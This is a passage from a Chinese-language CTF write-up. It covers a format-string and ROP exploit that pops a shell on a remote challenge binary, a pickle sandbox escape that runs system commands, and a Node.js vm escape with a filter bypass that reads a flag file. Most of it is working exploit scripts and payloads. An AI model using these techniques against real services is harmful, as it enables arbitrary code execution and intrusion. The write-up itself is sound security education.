  printf("Well we're here. Bye, ");
  printf(format);
  puts("!");
  exit(0);
}

主要就兩個洞,一個是 v3 可以放負值去 oob 讀值,另一個是 format string。

oob 的話我是用 -1,因為 drivers-1 的地方是 __dso_handle,從 gdb 可以看到它指向它自身,所以可以 leak 出 text address。

再來是要利用 format string,這題小麻煩的地方是你需要先讀 format string 後才能 leak address,leak 完之後再讓你放 stack buffer,最後才 call printf 之後直接 exit。這代表寫入的 address 雖然可以自己決定,但是寫入的值必須預先決定好才行。

我的想法是蓋 exit@gotmain,不過會發現這題雖然 GOT 可寫但全部的 function 早就已經變成 libc 的 address,這應該是 No RELRO 的效果 (和 Partial RELRO 不同)。但是既然要先決定好寫入的值就代表只能 partial overwrite,觀察了一下我覺得透過 partial overwrite exit@got 到 one gadget 不太可行,所以就放棄了這條路。

後來卡了一段時間才想到去蓋掉 fini_array 中的 __do_global_dtors_aux,因為兩個同屬 text section 所以可以 100% 成功率的把它變成 main,這樣就能變成 loop。因為第一輪就用 leak text, 用 format string 蓋 fini_array 的同時 leak libc 出來。

之後第二輪就要想辦法從 format string 拿 shell,這次有 libc 了所以應該可以寫 one gadget 到 exit@got,但是測試了幾個 one gadget 都發現 constraint 不合,沒一個能用 == (主要好像是使用 fini_array 會動到 r15,讓它變得不是 0,也讓很多條件無法滿足)。

後來想到的作法是發現 buf 其實很大,是足夠寫 rop chain 的。然後 libc 中也有很多 ret 0x?? 或是 add rsp, 0x??; ret 之類的 gadget 能用,把它 exit@got 寫成其中之一並算好 offset 就能讓它 stack 正好跑到 buf 的 rop chain 上,然後就能 rop get shell。

from pwn import *

context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"


def build_payload(writes: dict, written=0) -> bytes:
    ws = sorted(writes.items(), key=lambda t: t[1])
    s = ""
    for offset, val in ws:
        assert val - written >= 0, "wtf"
        s += f"%{val - written}c"
        t = "hhn" if val - written < 256 else "hn"
        s += f"%{offset}${t}"
        written += val - written
    return s.encode()


elf = ELF("./caniride")
libc = ELF("./libc.so.6")

# io = gdb.debug(
#     "./caniride", "b sleep\ncommands\nreturn\nc\nend\nb *(main+533)\nb *(main+555)\nc"
# )
# io = gdb.debug(
#     "./caniride", "b *(main+533)\nb *(main+555)\nc"
# )
# io = process("./caniride")
io = remote("challs.actf.co", 31228)
# write fini_array back to main
payload = b"peko%143$16lxmiko"
payload += build_payload({16: 0x69}, 16 + 8)
io.sendlineafter(b"Name: ", payload)
io.sendlineafter(b"driver: ", b"-3")  # __dso_handle -> __dso_handle
io.recvuntil(b"Hi, this is ")
dso_handle = int.from_bytes(io.recvn(6), "little")
prog_base = dso_handle - elf.sym["__dso_handle"]
print(f"{prog_base = :#x}")
elf.address = prog_base
io.sendlineafter(b"yourself: ", flat([prog_base + 0x3300]))

io.recvuntil(b"peko")
libc_base = int(io.recvuntilS(b"miko")[:-4].strip(), 16) - 0x240B3
print(f"{libc_base = :#x}")
libc.address = libc_base
rop = ROP(libc)


# now back to main
exit_got = elf.got["exit"]
ret_0x80 = libc_base + 0x96F70
print(f"{ret_0x80 = :#x}")
rop.execve(next(libc.search(b"/bin/sh\0")), 0, 0)
payload = build_payload(
    {18: ret_0x80 & 0xFF, 19: (ret_0x80 >> 8) & 0xFF, 20: (ret_0x80 >> 16) & 0xFF}
)
io.sendlineafter(b"Name: ", payload)
io.sendlineafter(b"driver: ", b"0")
io.sendlineafter(
    b"yourself: ",
    (flat([0, 0, exit_got, exit_got + 1, exit_got + 2, 0]) + rop.chain()),
)

io.interactive()
# actf{h0llerin'_at_y0u_from_a_1977_mont3_car1o_a6ececa9966d}

Misc

*Kevin Higgs

這題是 splitline 解的,不過我覺得很好玩所以還是紀錄一下

#!/usr/local/bin/python3

import pickle
import io
import sys

module = type(__builtins__)
empty = module("empty")
empty.empty = empty
sys.modules["empty"] = empty


class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "empty" and name.count(".") <= 1:
            return super().find_class(module, name)
        raise pickle.UnpicklingError("e-legal")


lepickle = bytes.fromhex(input("Enter hex-encoded pickle: "))
if len(lepickle) > 400:
    print("your pickle is too large for my taste >:(")
else:
    SafeUnpickler(io.BytesIO(lepickle)).load()

這題就給一個 empty 的 module,然後允許你 property access 最多一個 dot 而已。概念上就是想辦法 empty.__class__.__base__.__subclasses__ 這樣拿,就像一般 pyjail 一樣而已。

可是這樣會導致 name.count('.') 超過限制,解決方法就是利用 BUILD 讓他直接在 empty 上 assign 東西,例如 empty.x=empty.__class__.__base__,然後再 empty.x.__subclasses__ 這樣拿即可。

至於生 payload 的話根本不用自己弄,只要使用同樣是來自 splitline 的 python to pickle compiler: Pickora,然後用裡面的 macro 直接生成就很簡單了。

這個是原版 payload:

_empty = GLOBAL("empty", "empty")
_empty.base = GLOBAL("empty", "__class__.__base__")
_empty.classes = GLOBAL("empty", "base.__subclasses__")()
_empty.wrapclose = GLOBAL("empty", "classes.__getitem__")(138)
_empty.init = GLOBAL("empty", "wrapclose.__init__")
_empty.globals = GLOBAL("empty", "init.__globals__")
GLOBAL("empty", "globals.__getitem__")("system")("sh")

# actf{__i_miss_kmh11_pyjails__}

然後這是我自己練習弄的,除了改為使用最後一個 class 以外基本上是一樣的,好處就是可以跨版本使用:

e = GLOBAL("empty", "empty")
e.x = GLOBAL('empty','__class__.__base__')
e.x = GLOBAL('empty','x.__subclasses__')()
GLOBAL('empty','x.reverse')()
e.x = GLOBAL('empty','x.__getitem__')(0)  # _Unpickler
e.x = GLOBAL('empty','x.__init__')
e.x = GLOBAL('empty','x.__globals__')
e.x = GLOBAL('empty','x.__getitem__')('__builtins__')
e.x = GLOBAL('empty','x.__getitem__')('exec')('import os;os.system("cat /flag.txt")')

另外其實原題的 empty.empty = empty 是多餘的,根本不用 recursive module 也能解。關鍵是用改用 empty.__setattr__ 去設定 attribute 就行了,所以有這個 payload:

s = GLOBAL("empty", "__setattr__")
s("x", GLOBAL("empty", "__class__")("empty"))
s("x", GLOBAL("empty", "x.__class__"))
s("x", GLOBAL("empty", "x.__base__"))
s("x", GLOBAL("empty", "x.__subclasses__")())
GLOBAL("empty", "x.reverse")()
s("x", GLOBAL("empty", "x.__getitem__")(0))
s("x", GLOBAL("empty", "x.__init__"))
s("x", GLOBAL("empty", "x.__globals__"))
s("x", GLOBAL("empty", "x.__getitem__")("__builtins__"))
s("x", GLOBAL("empty", "x.__getitem__")("exec")('import os;os.system("cat /flag.txt")'))

CaaSio PSE

#!/usr/local/bin/node

// flag in ./flag.txt

const vm = require("vm");
const readline = require("readline");

const interface = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
});

interface.question(
    "Welcome to CaaSio: Please Stop Edition! Enter your calculation:\n",
    function (input) {
        interface.close();
        if (
            input.length < 215 &&
            /^[\x20-\x7e]+$/.test(input) &&
            !/[.\[\]{}\s;`'"\\_<>?:]/.test(input) &&
            !input.toLowerCase().includes("import")
        ) {
            try {
                const val = vm.runInNewContext(input, {});
                console.log("Result:");
                console.log(val);
                console.log(
                    "See, isn't the calculator so much nicer when you're not trying to hack it?"
                );
            } catch (e) {
                console.log("your tried");
            }
        } else {
            console.log(
                "Third time really is the charm! I've finally created an unhackable system!"
            );
        }
    }
);

這題是 node.js 的 vm escape 加上繞 regex filter 的題目,vm escape 部分很好處理,就直接利用 {} 拿 foreign 的 Function 去拿 process 解決:

constructor.constructor('return process')().mainModule.require('fs').readFileSync('flag.txt', 'utf-8')

這題難點在於 filter 部分,因為 `'" 三個字元都被禁了所以沒辦法直接弄 string,另外 []. 也擋掉了 property access。

繞 string 的方法是利用 /asd/ regex 在轉換成 string 時會直接變成 '/asd/',但是它前後的 / 有點麻煩。繞 property access 的話可以使用 with statement,像是 with(constructor)constructor 就能存取到 constructor.constructor,所以兩招合起來使用 with(/asd/)source 就能拿到 'asd' 這個 string。

如果要使用多個 string 的話會遇到 source 被外層的給 shadow 掉的問題,解決辦法是使用 comma operator: with(/str1/)with(s1=source,/str2/)s1+source

所以全部整合起來之後就能把前面的 vm escape 改寫,變成這樣的 payload:

with(/with(process)with(mainModule)with(require(x))start()/)with(s1=source,/x/)with(s2=source,/repl/)with(s3=source,this)with(constructor)constructor(s2,s1)(s3)

// then input
require('fs').readFileSync('flag.txt','utf-8')

// actf{omg_js_is_like_so_quirky_haha}

不過賽後我才知道還有很多更簡單的解法,使用 unescape 或是 decodeURIComponent 去繞比較簡單,例如:

with(/%28this%2econstructor%2econstructor%28%27return%20this%27%29%29%28%29%2eprocess%2emainModule%2erequire%28%27fs%27%29%2ereadFileSync%28%22%2e%2fflag%2etxt%22%29/)eval(unescape(source))

然侯作者表示 regex 是他忘記擋的,所以 regex 都是 unintended XD。預期解是這個:

with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,101,t=116,117,r,110,32,112,r,111,99,101,s=115,s))())with(mainModule)with(require(f(102,s)))readFileSync(f(102,108,97,103,46,t,120,t))